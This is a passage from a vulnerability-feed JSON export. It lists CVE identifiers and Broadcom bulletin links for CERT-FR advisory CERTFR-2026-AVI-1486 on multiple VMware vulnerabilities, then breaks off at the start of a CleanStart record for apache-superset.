"name": "CVE-2025-2099",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2099"
},
{
"name": "CVE-2025-1194",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1194"
},
{
"name": "CVE-2025-6638",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6638"
},
{
"name": "CVE-2026-93572",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93572"
},
{
"name": "CVE-2026-97873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97873"
},
{
"name": "CVE-2026-75973",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75973"
},
{
"name": "CVE-2026-111064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111064"
},
{
"name": "CVE-2026-18477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18477"
},
{
"name": "CVE-2025-14819",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14819"
},
{
"name": "CVE-2025-24928",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-24928"
},
{
"name": "CVE-2026-14679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14679"
},
{
"name": "CVE-2025-11065",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11065"
},
{
"name": "CVE-2026-107708",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107708"
},
{
"name": "CVE-2026-70461",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70461"
},
{
"name": "CVE-2026-95838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95838"
},
{
"name": "CVE-2026-46597",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46597"
},
{
"name": "CVE-2026-73073",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73073"
},
{
"name": "CVE-2026-12259",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12259"
},
{
"name": "CVE-2026-112401",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112401"
},
{
"name": "CVE-2026-4786",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4786"
},
{
"name": "CVE-2026-1484",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1484"
},
{
"name": "CVE-2025-4947",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4947"
},
{
"name": "CVE-2026-48775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
},
{
"name": "CVE-2026-72522",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-72522"
},
{
"name": "CVE-2026-27141",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27141"
},
{
"name": "CVE-2025-61726",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
},
{
"name": "CVE-2026-59902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59902"
},
{
"name": "CVE-2025-1094",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1094"
},
{
"name": "CVE-2026-112391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112391"
},
{
"name": "CVE-2026-5704",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5704"
},
{
"name": "CVE-2026-89407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89407"
},
{
"name": "CVE-2026-34182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
},
{
"name": "CVE-2026-49835",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49835"
},
{
"name": "CVE-2026-18503",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18503"
},
{
"name": "CVE-2026-10879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
},
{
"name": "CVE-2026-86138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86138"
},
{
"name": "CVE-2026-4372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4372"
},
{
"name": "CVE-2026-47691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47691"
},
{
"name": "CVE-2022-24975",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-24975"
},
{
"name": "CVE-2025-21614",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-21614"
},
{
"name": "CVE-2026-6019",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6019"
},
{
"name": "CVE-2026-11816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11816"
},
{
"name": "CVE-2025-3198",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3198"
},
{
"name": "CVE-2026-78662",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78662"
},
{
"name": "CVE-2026-76816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76816"
},
{
"name": "CVE-2026-87697",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87697"
},
{
"name": "CVE-2026-96641",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96641"
},
{
"name": "CVE-2026-19542",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19542"
},
{
"name": "CVE-2025-54388",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54388"
},
{
"name": "CVE-2026-59847",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59847"
},
{
"name": "CVE-2026-9149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9149"
},
{
"name": "CVE-2026-86140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86140"
},
{
"name": "CVE-2025-59419",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59419"
},
{
"name": "CVE-2026-74860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-74860"
},
{
"name": "CVE-2025-49796",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49796"
},
{
"name": "CVE-2025-8058",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8058"
},
{
"name": "CVE-2026-40930",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40930"
},
{
"name": "CVE-2026-87866",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87866"
},
{
"name": "CVE-2025-11839",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11839"
},
{
"name": "CVE-2026-63388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
},
{
"name": "CVE-2026-1489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1489"
},
{
"name": "CVE-2026-9547",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9547"
},
{
"name": "CVE-2026-81642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81642"
},
{
"name": "CVE-2026-41007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41007"
},
{
"name": "CVE-2026-19666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19666"
},
{
"name": "CVE-2026-81722",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81722"
},
{
"name": "CVE-2026-19032",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
},
{
"name": "CVE-2026-53404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
},
{
"name": "CVE-2026-33816",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33816"
},
{
"name": "CVE-2026-82560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82560"
},
{
"name": "CVE-2026-56132",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
},
{
"name": "CVE-2026-12372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12372"
},
{
"name": "CVE-2026-2004",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
},
{
"name": "CVE-2026-0672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0672"
},
{
"name": "CVE-2026-49839",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49839"
},
{
"name": "CVE-2026-93446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93446"
},
{
"name": "CVE-2026-96229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96229"
},
{
"name": "CVE-2026-47770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47770"
},
{
"name": "CVE-2026-41246",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41246"
},
{
"name": "CVE-2026-33481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33481"
},
{
"name": "CVE-2026-54874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54874"
},
{
"name": "CVE-2026-67213",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-67213"
},
{
"name": "CVE-2026-71557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71557"
},
{
"name": "CVE-2026-55833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
},
{
"name": "CVE-2025-30204",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30204"
},
{
"name": "CVE-2026-18938",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18938"
},
{
"name": "CVE-2018-6952",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-6952"
},
{
"name": "CVE-2026-114690",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114690"
},
{
"name": "CVE-2026-24137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24137"
},
{
"name": "CVE-2025-5914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5914"
},
{
"name": "CVE-2026-116591",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116591"
},
{
"name": "CVE-2017-8806",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-8806"
},
{
"name": "CVE-2026-59198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
},
{
"name": "CVE-2026-111749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111749"
},
{
"name": "CVE-2026-56851",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56851"
},
{
"name": "CVE-2026-40228",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40228"
},
{
"name": "CVE-2026-85731",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85731"
},
{
"name": "CVE-2023-31486",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-31486"
},
{
"name": "CVE-2026-34477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
},
{
"name": "CVE-2026-65902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
},
{
"name": "CVE-2026-56819",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
},
{
"name": "CVE-2026-106451",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106451"
},
{
"name": "CVE-2025-1151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1151"
},
{
"name": "CVE-2024-24786",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24786"
},
{
"name": "CVE-2026-7210",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7210"
},
{
"name": "CVE-2026-33231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
},
{
"name": "CVE-2026-52863",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52863"
},
{
"name": "CVE-2026-70197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70197"
},
{
"name": "CVE-2026-7168",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7168"
},
{
"name": "CVE-2026-40691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40691"
},
{
"name": "CVE-2026-14664",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14664"
},
{
"name": "CVE-2026-9856",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9856"
},
{
"name": "CVE-2019-20633",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-20633"
},
{
"name": "CVE-2026-103242",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103242"
},
{
"name": "CVE-2026-76957",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76957"
},
{
"name": "CVE-2026-42012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
},
{
"name": "CVE-2024-39689",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-39689"
},
{
"name": "CVE-2025-1148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1148"
},
{
"name": "CVE-2026-77406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77406"
},
{
"name": "CVE-2026-94440",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94440"
},
{
"name": "CVE-2026-61711",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61711"
},
{
"name": "CVE-2026-54371",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54371"
},
{
"name": "CVE-2026-68494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
},
{
"name": "CVE-2025-6921",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6921"
},
{
"name": "CVE-2024-29903",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29903"
},
{
"name": "CVE-2023-5752",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-5752"
},
{
"name": "CVE-2026-96224",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96224"
},
{
"name": "CVE-2025-66862",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66862"
},
{
"name": "CVE-2026-14670",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14670"
},
{
"name": "CVE-2026-39827",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39827"
},
{
"name": "CVE-2026-77405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77405"
},
{
"name": "CVE-2026-24122",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24122"
},
{
"name": "CVE-2026-32776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32776"
},
{
"name": "CVE-2026-4046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4046"
},
{
"name": "CVE-2026-56444",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56444"
},
{
"name": "CVE-2026-15028",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15028"
},
{
"name": "CVE-2026-9150",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9150"
},
{
"name": "CVE-2026-93560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93560"
},
{
"name": "CVE-2026-112405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112405"
},
{
"name": "CVE-2026-79677",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79677"
},
{
"name": "CVE-2026-56289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56289"
},
{
"name": "CVE-2026-59845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59845"
},
{
"name": "CVE-2026-46385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46385"
},
{
"name": "CVE-2026-22772",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22772"
},
{
"name": "CVE-2026-111497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111497"
},
{
"name": "CVE-2026-56852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
},
{
"name": "CVE-2026-42784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42784"
},
{
"name": "CVE-2025-67221",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-67221"
},
{
"name": "CVE-2026-73581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73581"
},
{
"name": "CVE-2026-15830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15830"
},
{
"name": "CVE-2025-0167",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0167"
},
{
"name": "CVE-2026-16517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16517"
},
{
"name": "CVE-2026-85977",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85977"
},
{
"name": "CVE-2026-59843",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59843"
},
{
"name": "CVE-2026-33230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
},
{
"name": "CVE-2026-59899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
},
{
"name": "CVE-2026-47775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47775"
},
{
"name": "CVE-2025-69420",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69420"
},
{
"name": "CVE-2026-92390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92390"
},
{
"name": "CVE-2026-34481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
},
{
"name": "CVE-2025-22227",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22227"
},
{
"name": "CVE-2025-47273",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
},
{
"name": "CVE-2025-15224",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15224"
},
{
"name": "CVE-2026-59204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
},
{
"name": "CVE-2026-35501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35501"
},
{
"name": "CVE-2026-111066",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111066"
},
{
"name": "CVE-2026-86143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86143"
},
{
"name": "CVE-2026-8286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8286"
},
{
"name": "CVE-2026-93567",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93567"
},
{
"name": "CVE-2026-85091",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85091"
},
{
"name": "CVE-2026-116590",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116590"
},
{
"name": "CVE-2026-39823",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39823"
},
{
"name": "CVE-2026-86409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86409"
},
{
"name": "CVE-2026-1462",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1462"
},
{
"name": "CVE-2026-46680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46680"
},
{
"name": "CVE-2026-22703",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22703"
},
{
"name": "CVE-2026-0989",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0989"
},
{
"name": "CVE-2026-31790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
},
{
"name": "CVE-2026-18024",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18024"
},
{
"name": "CVE-2025-61729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61729"
},
{
"name": "CVE-2026-83557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-83557"
},
{
"name": "CVE-2026-15059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15059"
},
{
"name": "CVE-2025-11494",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11494"
},
{
"name": "CVE-2024-6345",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
},
{
"name": "CVE-2025-3777",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3777"
},
{
"name": "CVE-2026-63072",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63072"
},
{
"name": "CVE-2026-79657",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79657"
},
{
"name": "CVE-2025-14831",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14831"
},
{
"name": "CVE-2026-5545",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5545"
},
{
"name": "CVE-2026-77310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
},
{
"name": "CVE-2026-95209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95209"
},
{
"name": "CVE-2026-81634",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81634"
},
{
"name": "CVE-2026-53492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53492"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
},
{
"name": "CVE-2026-50149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50149"
},
{
"name": "CVE-2026-112891",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112891"
},
{
"name": "CVE-2026-86000",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86000"
},
{
"name": "CVE-2026-43895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43895"
},
{
"name": "CVE-2026-7017",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7017"
},
{
"name": "CVE-2024-10979",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10979"
},
{
"name": "CVE-2026-84782",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84782"
},
{
"name": "CVE-2025-3576",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3576"
},
{
"name": "CVE-2026-15307",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15307"
},
{
"name": "CVE-2026-5241",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5241"
},
{
"name": "CVE-2026-73281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73281"
},
{
"name": "CVE-2026-0846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0846"
},
{
"name": "CVE-2026-87022",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87022"
},
{
"name": "CVE-2026-59889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
},
{
"name": "CVE-2026-3784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3784"
},
{
"name": "CVE-2025-1147",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1147"
},
{
"name": "CVE-2026-56864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56864"
}
],
"initial_release_date": "2026-11-09T00:00:00",
"last_revision_date": "2026-11-09T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1486",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-11-09T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits VMware. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits VMware",
"vendor_advisories": [
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39550",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39550"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39545",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39545"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39539",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39539"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39534",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39534"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39548",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39548"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39536",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39536"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39544",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39544"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39549",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39549"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39522",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39522"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39530",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39530"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39537",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39537"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39533",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39533"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39526"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39518",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39518"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39542",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39542"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39517",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39517"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39547"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39528",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39528"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39514",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39514"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39523",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39523"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39516",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39516"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39551",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39551"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39525",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39525"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39543",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39543"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39541",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39541"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39540",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39540"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39524"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39527",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39527"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39519",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39519"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39546",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39546"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39521",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39521"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39538",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39538"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39529",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39529"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39535",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39535"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39515",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39515"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39531",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39531"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39532",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39532"
}
]
}
CLEANSTART-2026-MM21242 (CVE-2026-112400)
Vulnerability from cleanstart – Published: 2026-10-31 00:43 – Updated: 2026-10-30 09:04 – Source websiteSecurity vulnerability affects the apache-superset package. Pillow is a Python imaging library.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-superset",
